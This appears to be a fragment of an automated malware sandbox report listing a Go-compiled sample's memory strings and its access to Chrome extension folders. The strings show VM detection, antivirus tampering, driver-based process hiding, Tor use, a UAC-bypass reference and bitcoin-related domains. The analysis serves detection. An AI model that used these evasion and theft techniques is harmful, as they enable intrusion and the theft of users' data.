Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\a\buildz.exe	Thread delayed: delay time: 700000

Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	Binary or memory string: sbvmx86write B -> Value addr= alloc base code= ctxt: curg= free goid jobs= list= m->p= max= min= next= p->m= prev= span=% util%s.exe%s.sys%s: %s(...) , i = , not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--P
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: ... omitting accept-charsetafter EfiGuardallocfreetracebad allocCountbad record MACbad restart PCbad span statebtc.usebsv.comcert installedchecksum errorcontent-lengthcouldn't patchdata truncateddistributor_iddriver removederror responsefile too largefinalizer waitgcstoptheworldget uptime: %wgetprotobynamegot system PIDinitial serverinternal errorinvalid syntaxis a directorykey size wronglevel 2 haltedlevel 3 haltedmemprofileratemultipartfilesneed more datanil elem type!no module datano such deviceopen event: %wparse cert: %wprotocol errorread certs: %wread_frame_eofreflect.Value.remove app: %wruntime: full=runtime: want=s.allocCount= semaRoot queueserver.versionstack overflowstart task: %wstopm spinningstore64 failedsync.Cond.Waittext file busytime.Location(timeEndPeriodtoo many linkstoo many userstorrc filenameunexpected EOFunknown code: unknown error unknown methodunknown mode: unreachable: unsafe.PointeruserArenaStatevirtualbox: %wvmwaretray.exevmwareuser.exewii libnup/1.0winapi error #window createdwork.full != 0xenservice.exezero parameter with GC prog
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: RTP.exeSYSTEMROOT=SetFileTimeSignWritingSoft_DottedSystemDriveTTL expiredUninstallerVBoxServiceVMUSrvc.exeVariantInitVirtualFreeVirtualLockWSARecvFromWarang_CitiWhite_SpaceWinDefender[:^xdigit:]\dsefix.exeadditionalsalarm clockapplicationassistQueueauthoritiesbad addressbad argSizebad m valuebad messagebad timedivbitcoins.skbroken pipecampaign_idcgocall nilclobberfreeclosesocketcombase.dllcreated by crypt32.dlle2.keff.orgembedded/%sexternal IPfile existsfinal tokenfloat32nan2float64nan1float64nan2float64nan3gccheckmarkgeneralizedget CDN: %wgetpeernamegetsocknameglobalAllochttp2clienthttp2serverhttps_proxyi/o timeoutlocal errormSpanManualmethodargs(minTrigger=move %s: %wmswsock.dllnetpollInitnext servernil contextopera-proxyorannis.comout of syncparse errorprocess: %sreflect.SetreflectOffsretry-afterruntime: P runtime: g runtime: p scheddetailsechost.dllsecur32.dllservice: %sshell32.dllshort writestack tracestart proxytaskmgr.exetls: alert(tracealloc(traffic updunreachableuserenv.dllversion.dllversion=195wininet.dllwup_process (sensitive) B (
Source: Creal.exe, 00000012.00000003.1810877175.000001D16E957000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: j2aTPs+9xYa9+bG3tD60B8jzljHz7aRP+KNOjSkVWLjVb3/ubCK1sK9IRQq9qEmU
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: entersyscallexit status failed to %wfound av: %sgcBitsArenasgcpacertracegetaddrinfowgot TI tokenguid_machineharddecommithost is downhttp2debug=1http2debug=2illegal seekinjector.exeinstall_dateinvalid baseinvalid pathinvalid portinvalid slotiphlpapi.dllkernel32.dllmachine_guidmadvdontneedmax-forwardsmheapSpecialmsftedit.dllmspanSpecialnetapi32.dllno such hostnon-existentnot pollableoleaut32.dllout of rangeparse PE: %wproxyconnectrandautoseedrecv_goaway_reflect.Copyreleasep: m=remote errorremoving appruntime: gp=runtime: sp=s ap traffics hs trafficself-preemptsetupapi.dllshort bufferspanSetSpinesweepWaiterstraceStringstraffic/readtransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=worker mode wtsapi32.dll != sweepgen (default %q) (default %v) MB globals, MB) workers= called from flushedWork idlethreads= in host name is nil, not nStackRoots= out of range pluginpath= s.spanclass= span.base()= syscalltick= work.nproc= work.nwait= %s/rawaddr/%s%s\%s\drivers, gp->status=, not pointer-bind-address-byte block (3814697265625: unknown pc Accept-RangesAuthorizationCLIENT_RANDOMCONNECTION-IDCONNECT_ERRORCache-ControlCertOpenStoreCoTaskMemFreeConnectServerContent-RangeDONT-FRAGMENTDeleteServiceDestroyWindowDistributorIDECDSAWithSHA1EnumProcessesExitWindowsExFQDN too longFindFirstFileFindNextFileWFindResourceWFreeAddrInfoWGC sweep waitGeoIPFile %s
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: DnsRecordListFreeENHANCE_YOUR_CALMEnumThreadWindowsFLE Standard TimeFailed DependencyGC assist markingGMT Standard TimeGTB Standard TimeGetCurrentProcessGetShortPathNameWHEADER_TABLE_SIZEHKEY_CLASSES_ROOTHKEY_CURRENT_USERHTTP_1_1_REQUIREDIf-Modified-SinceIsTokenRestrictedLookupAccountSidWMESSAGE-INTEGRITYMoved PermanentlyOld_North_ArabianOld_South_ArabianOther_ID_ContinuePython-urllib/2.5QueryWorkingSetExRESERVATION-TOKENReadProcessMemoryRegLoadMUIStringWRtlGetCurrentPebSafeArrayCopyDataSafeArrayCreateExSentence_TerminalSysAllocStringLenSystemFunction036Too Many RequestsTransfer-EncodingUnexpected escapeUnified_IdeographUnknown AttributeVGAuthService.exeWSAEnumProtocolsWWTSQueryUserTokenWrite after CloseWrong CredentialsX-Idempotency-Key\System32\drivers\\.\VBoxMiniRdrDN
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	Binary or memory string: yreleasep: m=remote errorremoving appruntime: gp=runtime: sp=s ap traffics hs trafficself-preemptsetupapi.dllshort bufferspanSetSpinesweepWaiterstraceStringstraffic/readtransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdo
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	Binary or memory string: psapi.dllquestionsreboot inrecover: reflect: rwxrwxrwxscavtracestackpoolsucceededtask %+v tracebackunderflowunhandleduninstallunzip Torunzip: %wurn:uuid:w3m/0.5.1wbufSpanswebsocketxenevtchn} stack=[ netGo = MB goal, flushGen for type gfreecnt= heapGoal= p
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: IP addressIsValidSidKeep-AliveKharoshthiLocalAllocLockFileExLogonUserWManichaeanMessage-IdNo ContentOld_ItalicOld_PermicOld_TurkicOpenEventWOpenMutexWOpenThreadOther_MathPOSTALCODEParseAddr(ParseFloatPhoenicianProcessingPulseEventRIPEMD-160RST_STREAMResetEventSHA256-RSASHA384-RSASHA512-RSASYSTEMROOTSaurashtraSecureBootSet-CookieShowWindowTor uptimeUser-AgentVMSrvc.exeWSACleanupWSASocketWWSAStartupWget/1.9.1Windows 10Windows 11[:^alnum:][:^alpha:][:^ascii:][:^blank:][:^cntrl:][:^digit:][:^graph:][:^lower:][:^print:][:^punct:][:^space:][:^upper:][:xdigit:]\\.\WinMon\patch.exe^{[\w-]+}$app_%d.txtatomicand8attr%d=%s cmd is nilcomplex128connectiondebug calldnsapi.dlldsefix.exedwmapi.dlle.keff.orgexecerrdotexitThreadexp masterfloat32nanfloat64nangetsockoptgoroutine http_proxyimage/avifimage/jpegimage/webpimpossibleindicationinvalid IPinvalidptrkeep-alivemSpanInUsemyhostnameno resultsnot a boolnot signednotifyListowner diedpowershellprl_cc.exeprofInsertres binderres masterresumptionrune <nil>runtime: gs.state = schedtracesemacquiresend stateset-cookiesetsockoptskipping: socks bindstackLarget.Kind == terminatedtext/plaintime.Date(time.Localtracefree(tracegc()
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: GetActiveObjectGetAdaptersInfoGetCommTimeoutsGetCommandLineWGetFirmwareTypeGetProcessTimesGetSecurityInfoGetStartupInfoWGlobal\qtxp9g8wHanifi_RohingyaICE-CONTROLLINGIdempotency-KeyImpersonateSelfInstall failureIsWindowUnicodeIsWindowVisibleIsWow64Process2Length RequiredLoadLibraryExALoadLibraryExWNot ImplementedNtSuspendThreadOpenThreadTokenOther_LowercaseOther_UppercasePKCS1WithSHA256PKCS1WithSHA384PKCS1WithSHA512Partial ContentPostQuitMessageProcess32FirstWPsalter_PahlaviQueryDosDeviceWRegCreateKeyExWRegDeleteValueWRequest TimeoutRtlDefaultNpAclSafeArrayCreateSafeArrayGetDimSafeArrayGetIIDSafeArrayUnlockScheduledUpdateSetCommTimeoutsSetSecurityInfoSetVolumeLabelWShellExecuteExWStringFromCLSIDStringFromGUID2TerminateThreadUnescaped quoteUninstallStringUnmapViewOfFileVBoxService.exeVPS.hsmiths.comWinsta0\DefaultX-Forwarded-For\\.\VBoxTrayIPC]
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: acceptactivechan<-closedcookiedirectdomainefenceempty exec: expectfamilygeoip6gopherhangupheaderinternip+netkilledlistenminutenetdnsnumberobjectoriginpopcntrdtscpreadatreasonremoverenamereturnrun-v3rune1 secondselectsendtoserversocketsocks socks5statusstringstructsweep sysmontelnettimersuint16uint32uint64unuseduptimevmhgfsvmxnetvpc-s3wup_hsxennetxensvcxenvdb %v=%v, (conn) (scan (scan) MB in Value> allocs dying= flags= len=%d locks= m->g0= nmsys= pad1= pad2= s=nil
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: SafeArrayCopyDataSafeArrayCreateExSentence_TerminalSysAllocStringLenSystemFunction036Too Many RequestsTransfer-EncodingUnexpected escapeUnified_IdeographUnknown AttributeVGAuthService.exeWSAEnumProtocolsWWTSQueryUserTokenWrite after CloseWrong CredentialsX-Idempotency-Key\System32\drivers\\.\VBoxMiniRdrDN
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	Binary or memory string: RTP.exeSYSTEMROOT=SetFileTimeSignWritingSoft_DottedSystemDriveTTL expiredUninstallerVBoxServiceVMUSrvc.exeVariantInitVirtualFreeVirtualLockWSARecvFromWarang_CitiWhite_SpaceWinDefender[:^xdigit:]\dsefix.exeadditionalsalarm clockapplicationassistQueueauthorities
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: (MISSING)(unknown), newval=, oldval=, size = , tail = -07:00:00/api/cdn?/api/poll127.0.0.1244140625: status=AuthorityBassa_VahBhaiksukiClassINETCuneiformDiacriticEVEN-PORTExecQueryFindCloseForbiddenGetDIBitsHex_DigitInheritedInstMatchInstRune1InterfaceKhudawadiLocalFreeMalayalamMongolianMoveFileWNabataeanNot FoundOP_RETURNOSCaptionPalmyreneParseUintPatchTimePublisherReleaseDCRemoveAllSTUN addrSamaritanSee OtherSeptemberSundaneseSysnativeToo EarlyTrailer: TypeCNAMETypeHINFOTypeMINFOUse ProxyVBoxGuestVBoxMouseVBoxVideoWSASendToWednesdayWindows 7WriteFileZ07:00:00[%v = %d][:^word:][:alnum:][:alpha:][:ascii:][:blank:][:cntrl:][:digit:][:graph:][:lower:][:print:][:punct:][:space:][:upper:]_outboundatomicor8attributeb.ooze.ccbad indirbus errorchallengechan sendcomplex64connectexcopystackcsrss.exectxt != 0d.nx != 0dns,filesecdsa.netempty urlfiles,dnsfn.48.orgfodhelperfork/execfuncargs(gdi32.dllhchanLeafimage/gifimage/pnginittraceinterfaceinterruptinvalid nipv6-icmplocalhostmSpanDeadnew tokennil errorntdll.dllole32.dllomitemptyop_returnpanicwaitpatch.exepclmulqdqpreemptedprintableprofBlockprotocol proxy.exepsapi.dllquestionsreboot inrecover: reflect: rwxrwxrwxscavtracestackpoolsucceededtask %+v
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	Binary or memory string: STAWSTAhomAtoiCDN=CESTChamDATADashDataDateEESTEULAEtagFromGOGCGoneHostJulyJuneLEAFLisuMiaoModiNZDTNZSTNameNewaPINGPOSTPathQEMUROOTSASTSTARSendStatTempThaiTypeUUID"%s"\rss\smb\u00 %+v m=] = ] n=allgallparchasn1avx2basebindbitsbmi1bmi2boolcallcap cas1cas2cas3ca
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	Binary or memory string: uint64unuseduptimevmhgfsvmxnetvpc-s3wup_hsxennetxensvcxenvdb %v=%v, (conn) (scan (scan) MB in Value> allocs dying= flags= len=%d locks= m->g0= nmsys= pad1= pad2= s=nil text= zombie$WINDIR% CPU (%03d %s%v: %#x, goid=, j0 = -nologo/delete19531252.5.4.32.5.
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: VirtualUnlockWINDOW_UPDATEWTSFreeMemoryWriteConsoleW[FrameHeader \\.\VBoxGuestaccept-rangesaccess deniedadvapi32.dll
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	Binary or memory string: vmusbmousevmware: %wws2_32.dll of size (targetpc= , plugin: ErrCode=%v KiB work, bytes ... exp.) for freeindex= gcwaiting= idleprocs= in status mallocing= ms clock, nBSSRoots= p->status= s.nelems= schedtick= span.list= timerslen=$WINDIR\rss%!(BADPREC
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: ><'\'') = ) m=+Inf-Inf.bat.cmd.com.css.exe.gif.htm.jpg.mjs.pdf.png.svg.sys.xml0x%x1.1110803125: p=ACDTACSTAEDTAESTAKDTAKSTAWSTAhomAtoiCDN=CESTChamDATADashDataDateEESTEULAEtagFromGOGCGoneHostJulyJuneLEAFLisuMiaoModiNZDTNZSTNameNewaPINGPOSTPathQEMUROOTSASTSTARSendStatTempThaiTypeUUID"%s"\rss\smb\u00
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	Binary or memory string: ersexpiresfloat32float64forcegcgctracehead = http://invalidlog.txtlookup messageminpc= nil keynop -> number pacer: panic: readdirrefererrefreshrequestrunningserial:server=signal svc_versyscalltor.exetraileruintptrunknownupgradeversionvmmousevpcuhubwaitingwindo
Source: Creal.exe, 00000016.00000003.2110499227.000001B1ED92B000.00000004.00000020.00020000.00000000.sdmp, buildz.exe, 0000002D.00000002.2014629900.0000000000954000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	Binary or memory string: eUnprocessable EntityWinmonProcessMonitor\\.\pipe\VBoxTrayIPC^.*\._Ctype_uint8_t$asn1: syntax error: assigned stream ID 0bad font file formatbad system page sizebad use of bucket.bpbad use of bucket.mpcertificate requiredchan send (nil chan)close of nil channe
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: too many linkstoo many userstorrc filenameunexpected EOFunknown code: unknown error unknown methodunknown mode: unreachable: unsafe.PointeruserArenaStatevirtualbox: %wvmwaretray.exevmwareuser.exewii libnup/1.0winapi error #window createdwork.full != 0xenservice.exezero parameter with GC prog
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	Binary or memory string: potency-Key\System32\drivers\\.\VBoxMiniRdrDN os/exec.Command(^.*\._Ctype_char$bad TinySizeClasscouldn't dial: %wcouldn't find pidcouldn't get UUIDcouldn't get pidscouldn't hide PIDcpu name is emptycreate window: %wdecode server: %wdecryption faileddownload fi
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	Binary or memory string: releasep: m=remote errorremoving appruntime: gp=runtime: sp=s ap traffics hs trafficself-preemptsetupapi.dllshort bufferspanSetSpinesweepWaiterstraceStringstraffic/readtransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	Binary or memory string: lUnlockWINDOW_UPDATEWTSFreeMemoryWriteConsoleW[FrameHeader \\.\VBoxGuestaccept-rangesaccess deniedadvapi32.dll
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	Binary or memory string: LycianLydianMondayPADDEDPcaSvcPragmaRejangSCHED STREETServerStringSundaySyriacTai_LeTangutTeluguThaanaTypeMXTypeNSUTC+12UTC+13UTC-02UTC-08UTC-09UTC-11VBoxSFWINDIRWanchoWinMonWinmonX25519Yezidi[]byte\??\%s\csrss\ufffd acceptactivechan<-closedcookiedirectdo
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	Binary or memory string: MathPOSTALCODEParseAddr(ParseFloatPhoenicianProcessingPulseEventRIPEMD-160RST_STREAMResetEventSHA256-RSASHA384-RSASHA512-RSASYSTEMROOTSaurashtraSecureBootSet-CookieShowWindowTor uptimeUser-AgentVMSrvc.exeWSACleanupWSASocketWWSAStartupWget/1.9.1Windows 10Window
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	Binary or memory string: PalmyreneParseUintPatchTimePublisherReleaseDCRemoveAllSTUN addrSamaritanSee OtherSeptemberSundaneseSysnativeToo EarlyTrailer: TypeCNAMETypeHINFOTypeMINFOUse ProxyVBoxGuestVBoxMouseVBoxVideoWSASendToWednesdayWindows 7WriteFileZ07:00:00[%v = %d][:^word:][:alnum:
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: tracebackunderflowunhandleduninstallunzip Torunzip: %wurn:uuid:w3m/0.5.1wbufSpanswebsocketxenevtchn} stack=[ netGo = MB goal, flushGen for type gfreecnt= heapGoal= pages at ptrSize= runqsize= runqueue= s.base()= spinning= stopwait= stream=%d sweepgen sweepgen= targetpc= throwing= until pc=%!(NOVERB)%!Weekday(%s.uuid.%s%s\|%s%s\|%s(BADINDEX), bound = , limit = -noprofile-uninstall.localhost/dev/stdin/etc/hosts/show-eula12207031256103515625: parsing :authorityAdditionalBad varintCampaignIDCancelIoExChorasmianClassCHAOSClassCSNETConnectionContent-IdCreateFileCreatePipeDSA-SHA256DeprecatedDevanagariDnsQuery_WECDSA-SHA1END_STREAMERROR-CODEException GC forced
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: Not ImplementedNtSuspendThreadOpenThreadTokenOther_LowercaseOther_UppercasePKCS1WithSHA256PKCS1WithSHA384PKCS1WithSHA512Partial ContentPostQuitMessageProcess32FirstWPsalter_PahlaviQueryDosDeviceWRegCreateKeyExWRegDeleteValueWRequest TimeoutRtlDefaultNpAclSafeArrayCreateSafeArrayGetDimSafeArrayGetIIDSafeArrayUnlockScheduledUpdateSetCommTimeoutsSetSecurityInfoSetVolumeLabelWShellExecuteExWStringFromCLSIDStringFromGUID2TerminateThreadUnescaped quoteUninstallStringUnmapViewOfFileVBoxService.exeVPS.hsmiths.comWinsta0\DefaultX-Forwarded-For\\.\VBoxTrayIPC]
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: VirtualUnlockWINDOW_UPDATEWTSFreeMemoryWriteConsoleW[FrameHeader \\.\VBoxGuestaccept-rangesaccess deniedadvapi32.dllauthorizationbad flushGen bad map statebtc.cihar.combtc.xskyx.netcache-controlcontent-rangecouldn't polldalTLDpSugct?data is emptydouble unlockemail addressempty integerexchange fullfatal error: gethostbynamegetservbynamegzip, deflateif-none-matchignoring fileimage/svg+xmlinvalid ASN.1invalid UTF-8invalid base kernel32.dllkey expansionlame referrallast-modifiedlevel 3 resetload64 failedmaster secretmin too largename is emptynil stackbasenot a Float32open file: %wout of memoryparallels: %wparsing time powrprof.dllprl_tools.exeprofMemActiveprofMemFutureread EULA: %wrebooting nowruntime: seq=runtime: val=service stateset event: %wsigner is nilsocks connectsrmount errortimer expiredtraceStackTabtrailing dataunimplementedunsupported: user canceledvalue method virtualpc: %wxadd64 failedxchg64 failed}
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: unixpacketunknown pcuser-agentuser32.dllvmusbmousevmware: %wws2_32.dll of size (targetpc= , plugin: ErrCode=%v KiB work, bytes ...
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	Binary or memory string: 4cas5cas6chandatedeaddialdoneermsetagethmfailfileflagfromftpsfuncgziphosthourhttpicmpidleigmpint8itabjsonkindlinkmdnsnullopenpathpipepop3quitreadrootsbrkseeksid=sizesmtpsse3tag:tcp4texttruetypeudp4uintunixuuidvaryvmcixn-- -%s (at ... MB, \" and got= max
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	Binary or memory string: rSetEndOfFileSetErrorModeSetStdHandleSora_SompengSyloti_NagriSysStringLenThread32NextTor mode setTransmitFileUnauthorizedUnlockFileExVBoxTray.exeVariantClearVirtualAllocVirtualQueryWinmon32.sysWinmon64.sysWintrust.dllX-ImforwardsX-Powered-By[[:^ascii:]]\/(\d+)
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	Binary or memory string: ultX-Forwarded-For\\.\VBoxTrayIPC] morebuf={pc:accept-encodingaccept-languageadvertise erroragent is closedapplication/pdfasyncpreemptoffbad certificatebad trailer keybefore EfiGuardclass registredclient finishedcouldn't set AVcouldn't set sbdecode hash: %wdo
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: VersionVirtualWSARecvWSASend"%s" %stypes value=abortedalt -> answersany -> booleancharsetchunkedcmd.execonnectconsolecpu: %scpuprofderiveddriversexpiresfloat32float64forcegcgctracehead = http://invalidlog.txtlookup messageminpc= nil keynop -> number pacer: panic: readdirrefererrefreshrequestrunningserial:server=signal svc_versyscalltor.exetraileruintptrunknownupgradeversionvmmousevpcuhubwaitingwindowswsarecvwsasendwup_verxen: %wxennet6 bytes, data=%q etypes incr=%v is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= ping=%q pointer stack=[ status %!Month(%02d%02d%s %s:%d%s: 0x%x-cleanup2.5.4.102.5.4.112.5.4.1748828125?4#?'1#0AcceptExAcceptedAllocateAltitudeArmenianBAD RANKBalineseBopomofoBugineseCancelIoCherokeeClassANYConflictContinueCurveID(CyrillicDNS nameDSA-SHA1DecemberDefenderDeleteDCDuployanEULA.txtEqualSidEthiopicExtenderFebruaryFirewallFullPathGeorgianGetOEMCPGoStringGujaratiGurmukhiHTTP/1.1HTTP/2.0HiraganaInstFailInstRuneIsWindowJavaneseKatakanaKayah_LiLIFETIMELinear_ALinear_BLocationLsaCloseMD5+SHA1MahajaniNO_ERRORNO_PROXYNovemberOl_ChikiPRIORITYPROGRESSParseIntPersoconPhags_PaQuestionReadFileReceivedSETTINGSSHA1-RSASHA3-224SHA3-256SHA3-384SHA3-512SOFTWARESaturdaySetEventSystem32TagbanwaTai_ThamTai_VietThursdayTifinaghTypeAAAATypeAXFRUSERHASHUSERNAMEUgariticVBoxWddmWSAIoctlWinmonFSWmiPrvSE[::1]:53[:word:][signal \\.\HGFS\\.\vmcistack=[_NewEnum_gatewayacceptexaddress bad instcgocheckcontinuecs deadlockdefault:dial: %wdnsquerydurationeax ebp ebx ecx edi edx eflags eip embeddedesi esp execwaitexporterf is nilfinishedfs gs hijackedhttp/1.1https://if-matchif-rangeinfinityinjectorinvalid linkpathlocationmac_addrmountvolmsvmmoufno anodeno-cacheno_proxypollDescreadfromrecvfromreflect.runnableruntime.rwmutexRrwmutexWscavengeshutdownstrconv.taskkilltor_modetraceBuftrigger=unixgramunknown(usernamevmmemctlvmx_svgawalk: %wwsaioctlwuauservx509sha1yuio.top (forced) B exp.) B work ( blocked= in use)
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: m=] = ] n=allgallparchasn1avx2basebindbitsbmi1bmi2boolcallcap cas1cas2cas3cas4cas5cas6chandatedeaddialdoneermsetagethmfailfileflagfromftpsfuncgziphosthourhttpicmpidleigmpint8itabjsonkindlinkmdnsnullopenpathpipepop3quitreadrootsbrkseeksid=sizesmtpsse3tag:tcp4texttruetypeudp4uintunixuuidvaryvmcixn-- -%s (at ...
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	Binary or memory string: swsarecvwsasendwup_verxen: %wxennet6 bytes, data=%q etypes incr=%v is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= ping=%q pointer stack=[ status %!Month(%02d%02d%s %s:%d%s: 0x%x-cleanup2.5.4.102.5.4.112.5.4.1748828125?4#?'1#0AcceptExAccepted
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: , i = , not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.local.onion/%d-%s370000390625:31461<-chanAcceptAnswerArabicAugustBUTTONBasic BitBltBrahmiCANCELCONIN$CancelCarianChakmaCommonCookieCopticExpectFltMgrFormatFridayGOAWAYGetACPGothicHangulHatranHebrewHyphenKaithiKhojkiLengthLepchaLockedLycianLydianMondayPADDEDPcaSvcPragmaRejangSCHED STREETServerStringSundaySyriacTai_LeTangutTeluguThaanaTypeMXTypeNSUTC+12UTC+13UTC-02UTC-08UTC-09UTC-11VBoxSFWINDIRWanchoWinMonWinmonX25519Yezidi[]byte\??\%s\csrss\ufffd
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	Binary or memory string: too many linkstoo many userstorrc filenameunexpected EOFunknown code: unknown error unknown methodunknown mode: unreachable: unsafe.PointeruserArenaStatevirtualbox: %wvmwaretray.exevmwareuser.exewii libnup/1.0winapi error #window createdwork.full != 0xenservi
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: and got= max= ms, ptr tab= top=%s %q%s %s%s%d%s/%s%s:%d%s=%s"'&+0330+0430+0530+0545+0630+0845+1030+1245+1345, fp:-0930.avif.html.jpeg.json.wasm.webp1.4.2156253.2.250001500025000350004500055000650512560015600278125:**@:path<nil>AdlamAprilBamumBatakBuhidCall ClassCountDograECDSAErrorFlagsFoundGetDCGreekHTTP/KhmerLatinLimbuLocalLstatMarchNONCENushuOghamOriyaOsageP-224P-256P-384P-521PGDSEREALMRangeRealmRunicSHA-1STermTakriTamilTypeAUSTARUUID=\u202] = (allowarrayatimebad nchdirchmodclosecsrssctimedeferfalsefaultfilesfloatgcinggeoipgnamegscanhchanhostshttpsimap2imap3imapsinit int16int32int64matchmheapmkdirmonthmtimentohspanicparsepgdsepop3sproxyrangermdirrouterune scav schedsdsetsleepslicesockssse41sse42ssse3sudogsweeptext/tls: torrctotaltraceuint8unameusageuser=utf-8valuevmusbvmx86write B -> Value addr= alloc base code= ctxt: curg= free goid jobs= list= m->p= max= min= next= p->m= prev= span=% util%s.exe%s.sys%s: %s(...)
